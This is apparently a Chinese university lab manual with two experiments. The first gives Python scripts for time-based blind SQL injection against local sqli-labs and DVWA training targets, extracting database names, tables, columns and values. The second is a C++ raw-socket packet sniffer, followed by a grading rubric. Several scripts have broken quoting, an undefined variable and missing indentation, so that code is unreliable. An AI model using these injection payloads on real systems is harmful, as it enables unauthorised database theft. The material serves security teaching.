网络攻防实验说明书

目录

1 实验需求

实验一 安全攻防实验

需求：对存在 SQL 注入漏洞的平台进行注入攻击，获取数据库内内容

1）实现基于布尔的盲注、基于时间的盲注、基于报错注入、联合查询注入、宽字节注入，并尽可能使用脚本实现其功能；

2）使用 UI 控件将结果可视化展示；

3）开发坏境需求：Windows 平台，语言平台不限。

实验二 安全监控实验

需求：应用层实现本机指定网络端口的通信监听

1） 实现监听网络连接所使用的协议、源 IP 地址、目标 IP 地址等信息的功能

2） 将监听内容在 UI 控件中显示。

3） 开发坏境需求：Windows 平台，开发语言不限。

2 关键技术实现

2.1 安全攻防实验

基本设计原理(以基于时间盲注为例)：

1）按 request 模块格式要求构建 http 报文头(非必要)；

2）找到注入点，并通过 sleep()函数逐字节获取目标信息(如数据库版本、库名、表名、字段名、数据等)；

3）保存注入得到的信息，并在 UI 控件中展示。重要功能代码部分如下所示。

```
# coding:utf-8
import requests
import datetime
import time
# 获取数据库名长度
def database_len():
    for i in range(1, 10):
        url = '"http://127.0.0.1/sqli-labs/Less-9/index.php"'
        payload = '"?id=1' and if(length(database())>%s,sleep(1),0)"' % i
        # print(url+payload+'%23')
        time1 = datetime.datetime.now()
        r = requests.get(url + payload + '%23')
        time2 = datetime.datetime.now()
        sec = (time2 - time1).seconds
        if sec >= 1:
```

```
            print(i)
        else:
            print(i)
            break
    print('database_len:', i)
database_len()
#获取数据库名
def database_name():
    name = ''
    for j in range(1, 9):
        for i in '0123456789abcdefghijklmnopqrstuvwxyz':
            url = '"http://127.0.0.1/sqli-labs/Less-9/index.php"'
            payload = '"?id=1' and if(substr(database(),%d,1)='%s',sleep(1),1)"' % (
                j, i)
            # print(url+payload+'%23')
            time1 = datetime.datetime.now()
            r = requests.get(url + payload + '%23')
            time2 = datetime.datetime.now()
            sec = (time2 - time1).seconds
            if sec >= 1:
                name += i
                print(name)
                break
    print('database_name:', name)
database_name()
```

```
#获取表名

def getTables(table_schema):

payloads = ',rotabcdefghijklmnpqsuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ@_.{}*'#区分大小写的

flag = ""

key=0

print("Start")

for i in range(1,5000):

    if key == 1:

        break

    for payload in payloads:

        starttime = time.time()#记录当前时间



        #print ("test letter is:%s"%payload)

        url = "1' and if((substr((select group_concat(table_name) from information_schema.tables where table_schema='%s'),%s,1)='%s'),sleep(5),sleep(0))#&&Submit=Submit#"%(table_schema,i,payload)#全部表名

        url = url.replace(',','%2C')

        url = url.replace('=','%3D',1)

        url = url.replace('#','%23',1)



        url = "http://127.0.0.1/DVWA-master/vulnerabilities/sqli_blind/?id="+url



        url = url.replace(' ','%20')

        url = url.replace("'","%27")
```

```
            res = requests.get(url, headers=headers)


            if time.time() - starttime >= 5:
                flag += payload
                print("Table is:%s"%flag)
                break
            else:
                if payload == '*':
                    key = 1
                    break
print('[Finally] all_table is %s'% flag)


#获取字段名
def getColumns(table_name):
payloads = ',rotabcdefghijklmnpqsuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ@_.{}*() '#区分大小写的
flag = ""
key=0
print("Start")
for i in range(1,5000):
    if key == 1:
        break
    for payload in payloads:
        starttime = time.time()#记录当前时间
```

```
        #print ("test letter is:%s"%payload)

        url = "1' and if((substr((select group_concat(column_name) from information_schema.columns where table_name='%s'),%s,1)='%s'),sleep(5),sleep(0))#&&Submit=Submit#"%(table_name,i,payload)#全部列名

        url = url.replace(',','%2C')

        url = url.replace('=','%3D',1)

        url = url.replace('#','%23',1)


        url = "http://127.0.0.1/DVWA-master/vulnerabilities/sqli_blind/?id="+url


        url = url.replace(' ','%20')

        url = url.replace("'","%27')


        res = requests.get(url, headers=headers)

        if time.time() - starttime >= 5:

            flag += payload

            print("column_name is:%s"%flag)

            break

        else:

            if payload == '*':

                key = 1

                break

print('[Finally] column_name is %s'% flag)
```

```
#获取表内字段值

def getColumn_value(column_name,table_name):

payloads = ',rotabcdefghijklmnpqsuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ@_.{}*() '#区分大小写的

flag = ""

key=0

print("Start")

for i in range(1,5000):

    if key == 1:

        break

    for payload in payloads:

        starttime = time.time()#记录当前时间



        #print ("test letter is:%s"%payload)

        url = "1' and if((substr((select group_concat(%s) from %s),%s,1)='%s'),sleep(5),sleep(0))#&Submit=Submit#"%(column_name,table_name,i,payload)#全部列名

        url = url.replace(',','%2C')

        url = url.replace('=','%3D',1)

        url = url.replace('#','%23',1)

        url = url.replace('(','%28')

        url = url.replace(')','%29')



        url = "http://127.0.0.1/DVWA-master/vulnerabilities/sqli_blind/?id="+url



        url = url.replace(' ','+')
```

```
            url = url.replace("'",'%27')



            #print ("test url is %s\n"%url)

            #1' and if((substr((select group_concat(user_id) from
users),1,1)='1'),sleep(5),sleep(0))#



            res = requests.get(url, headers=headers)

            if time.time() - starttime >= 5:

                flag += payload

                print("value is:%s"%flag)

                break

            else:

                if payload == '*':

                    key = 1

                    break

print('[Finally] value is %s'% flag)
```

2.2 安全监控实验

基本设计原理：

1）构建监听线程，并设置轮询时钟；

2）创建监听 SOCKET，并设置网卡和 SOCKET 为混杂模式；

3）解析侦听到的 IP 数据报文。重要功能代码部分如下所示。

```
//线程函数
UINT ThreadFun( LPVOID pParam )
{
 CSniffAppDlg* pDlg = static_cast<CSniffAppDlg*>(pParam);  MSG
msg;
 char buffer[1000],sourceip[32] ,*tempbuf;  char
*ptemp;
 BYTE* pData = NULL; //实际数据报中的数据
 UINT sourceport ;
 CString str;
 HEADIP*  pHeadIP;
 HEADICMP* pHeadICMP;
 HEADUDP*  pHeadUDP;  HEADTCP*
pHeadTCP;
 in_addr addr;  int
ret;
 while (TRUE)
 {  pData =
NULL;  if
(PeekMessage(&msg,pDlg->m_hWnd,WM_CLOSE,WM_CLOSE,PM_NOREMOV
E ))  {
```

```
 closesocket(pDlg->m_Sock);
break;  }
 memset(buffer,0,1000);
 ret = recv(pDlg->m_Sock,buffer,1000,0);

 if (ret == SOCKET_ERROR)
{   continue;
 }
 else //接收到数据
 {
  tempbuf = buffer;   pHeadIP =
(HEADIP*)tempbuf;
  //获取数据报总长度
  WORD len = ntohs(pHeadIP->totallen);

  //获取源 IP
  pDlg->m_List.InsertItem(pDlg->m_List.GetItemCount(),"");
addr.S_un.S_addr = pHeadIP->sourceIP;   ptemp =
inet_ntoa(addr);

  pDlg->m_List.SetItemText(pDlg->m_List.GetItemCount()-1,1,ptemp);

  //获取目的 IP
  addr.S_un.S_addr = pHeadIP->destIP;   ptemp
= inet_ntoa(addr);
  pDlg->m_List.SetItemText(pDlg->m_List.GetItemCount()-1,2,ptemp);  //获取
协议名称
  ptemp = get_protoname(pHeadIP->proto);   strcpy(sourceip,ptemp);
  pDlg->m_List.SetItemText(pDlg->m_List.GetItemCount()-1,0,sourceip);
```

```
  //获取 IP 数据报总长度
  WORD ipSumLen = ntohs(pHeadIP->totallen);

  //IP 数据报头总长度
  int ipHeadLen = 20;
  //获得去除 IP 层数据的长度
  WORD netlen = ipSumLen - ipHeadLen;

  //根据不同协议获得不同协议的数据
  switch (pHeadIP->proto)
  {  case
IPPROTO_ICMP:
  {
   pHeadICMP = (HEADICMP*)(tempbuf+20);

   pData = (BYTE*)(pHeadICMP)+4; //ICMP 数据报头共 4 个字节
   //获取数据的长度
   netlen -= 4;
break;  }  case
IPPROTO_UDP:
  {
   pHeadUDP = (HEADUDP*)(tempbuf+20);
   pData = (BYTE*)pHeadUDP+8; //UDP 数据报头共 8 个字节
   sourceport = ntohs(pHeadUDP->SourcePort);    str.Format("%d",sourceport);
   //设置源端口
   pDlg->m_List.SetItemText(pDlg->m_List.GetItemCount()-1,3,str);
str.Empty();    netlen -= 8;      break;  }  case IPPROTO_TCP:
  {
   pHeadTCP = (HEADTCP*)(tempbuf+20);
```

```
sourceport = ntohs(pHeadTCP->SourcePort);
  pData = (BYTE*)pHeadTCP+20; //TCP 数据报头共 20 个字节
  str.Format("%d",sourceport);
  //设置源端口
  pDlg->m_List.SetItemText(pDlg->m_List.GetItemCount()-1,3,str);
str.Empty();   netlen-= 20;     break;  }
 }
 //设置数据大小
 str.Format("%d",netlen);
 pDlg->m_List.SetItemText(pDlg->m_List.GetItemCount()-1,4,str);  str.Empty();
 //设置数据
 if (pData != NULL)
 {
 str.Format(" %s",pData);
pDlg->m_List.SetItemText(pDlg->m_List.GetItemCount()-1,5,str);
 }  str.Empty();
} }
return
0; }
void CSniffAppDlg::OnBeginlisten()
{
//创建套接字
 m_Sock = socket(AF_INET,SOCK_RAW, IPPROTO_IP );
char name[128];  memset(name,0,128);  hostent* phostent;
phostent = gethostbyname(name);  DWORD ip;
 ip = inet_addr(inet_ntoa(*(in_addr*)phostent->h_addr_list[0]));  int
timeout = 4000; //超时  4 秒
//设置接收数据的超时时间
 setsockopt(m_Sock,SOL_SOCKET,SO_RCVTIMEO,(const
char*)&timeout,sizeof(timeout));  sockaddr_in skaddr;
```

```
skaddr.sin_family = AF_INET;  skaddr.sin_port = htons(700);
skaddr.sin_addr.S_un.S_addr = ip;
        //绑定地址
        if ( bind(m_Sock,(sockaddr*)&skaddr,sizeof(skaddr))==SOCKET_ERROR)
        {
        MessageBox("地址绑定错误");
        return;
        }
        DWORD inBuffer=1;
        DWORD outBuffer[10];  DWORD
       reValue = 0;
        if
(WSAIoctl(m_Sock,SIO_RCVALL,&inBuffer,sizeof(inBuffer),&outBuffer,sizeof(out
Buffer),&reValue,NULL,NULL)==SOCKET_ERROR)
        {
        MessageBox("设置缓冲区错误.");
        closesocket(m_Sock);
       return;  }  else
        m_pThread = AfxBeginThread(ThreadFun,(void*)this);
       }
       void CSniffAppDlg::OnCancel()
       {  if
       (m_pThread)
        {
        //m_pThread->ExitInstance();  delete
       m_pThread;
        }
        closesocket( m_Sock) ;
        CDialog::OnCancel();
       }
```

3 考核指标

1） 了解涉密信息系统数据安全、通信安全和分级管控的基本设计原理、系统实现方法和技术

2） 熟悉所用的开发环境，独立完成开发环境的搭建，掌握开发流程

3） 分层理解文件、单机、网络信息保密的技术实现差别和途径。

附：

考核指标明细表

考核内容	考核指标要点	A(优秀)	B(通过)	C(未通过)
网络攻防	判断是否存在注入漏洞	完成基本功能，程序代码测试通过；实现流程合理，可复用性高；能对程序的执行过程和操作流程做出具体的解释和说明。	完成基本功能，程序代码测试通过。	未完成基本功能，程序代码测试未通过。
	脚本自动化程度			
	UI 设计			

网络监听	通信侦听	完成基本功能，程序代码测试通过；能对执行过程和操作流程做出解释和说明；对多线程处理、反向地对通信安全保障技术有拓展理解和应用。	完成基本功能，程序代码测试通过。	未完成基本功能，程序代码测试未通过。
	IP 数据包解析			